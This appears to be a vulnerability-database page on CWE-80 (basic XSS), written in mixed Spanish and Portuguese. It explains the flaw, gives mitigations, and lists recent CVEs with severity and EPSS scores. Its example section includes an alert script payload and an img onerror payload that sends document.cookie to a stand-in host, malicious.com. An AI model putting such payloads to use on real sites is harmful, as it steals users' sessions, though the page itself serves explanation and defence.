Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-27514MEDIUMGLPI is susceptible to Stored XSS attack through project's kanbanEPSS 0.2%CVE-2026-39837MEDIUMStored XSS through the dynamic table format in CargoEPSS 0.2%CVE-2026-5389MEDIUMjusthtml before 1.13.0 XSS via code fence breakoutEPSS 0.2%CVE-2026-27166MEDIUMDiscourse vulnerable to HTML injection via prohibited iframe URLsEPSS 0.2%CVE-2026-1564MEDIUMPega Platform versions 8.1.0 through 25.1.1 are affected by an HTML Injection vulnerability in a user interface component. Requires a high privileged user with a developer role.EPSS 0.2%CVE-2025-6247MEDIUMWordPress Automatic Plugin - AI content generator and auto poster plugin <= 3.118.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-54698MEDIUMWordPress Classified Listing Plugin plugin <= 5.0.0 - Content Injection VulnerabilityEPSS 0.2%CVE-2026-2995HIGHImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in GitLabEPSS 0.2%CVE-2026-27578HIGHn8n Vulnerable to Stored XSS via Various NodesEPSS 0.2%CVE-2026-40875HIGHmailcow: dockerized vulnerable to stored XSS in user login history real_ripEPSS 0.2%CVE-2026-41575MEDIUMth30d4y/IP: DOM-Based Cross-Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-39839MEDIUMStored XSS through URLs in Cargo's map formatEPSS 0.2%CVE-2025-48884MEDIUMGalette is vulnerable to XSS through Document TypeEPSS 0.2%CVE-2025-27358MEDIUMWordPress Frontend File Manager plugin <= 23.6 - Content Injection vulnerabilityEPSS 0.2%CVE-2026-39425MEDIUMMaxKB: Stored XSS via Unsanitized html_rander Tags in Markdown RenderingEPSS 0.2%CVE-2026-44839MEDIUMRabbitMQ: Unsanitized vhost names allow for XSS in management UIEPSS 0.2%CVE-2025-52654MEDIUMHCL MyXalytics is affected by an HTML InjectionEPSS 0.2%CVE-2025-59540MEDIUMChamilo: Stored Cross-Site Scripting (XSS) in Chamilo LMS Exercise FeedbackEPSS 0.2%CVE-2026-33657MEDIUMEspoCRM: Stored HTML injection in email notifications about stream notes via unescaped post fieldEPSS 0.2%CVE-2025-31992MEDIUMHCL MaxAI Assistant is susceptible to a HTML injection vulnerabilityEPSS 0.2%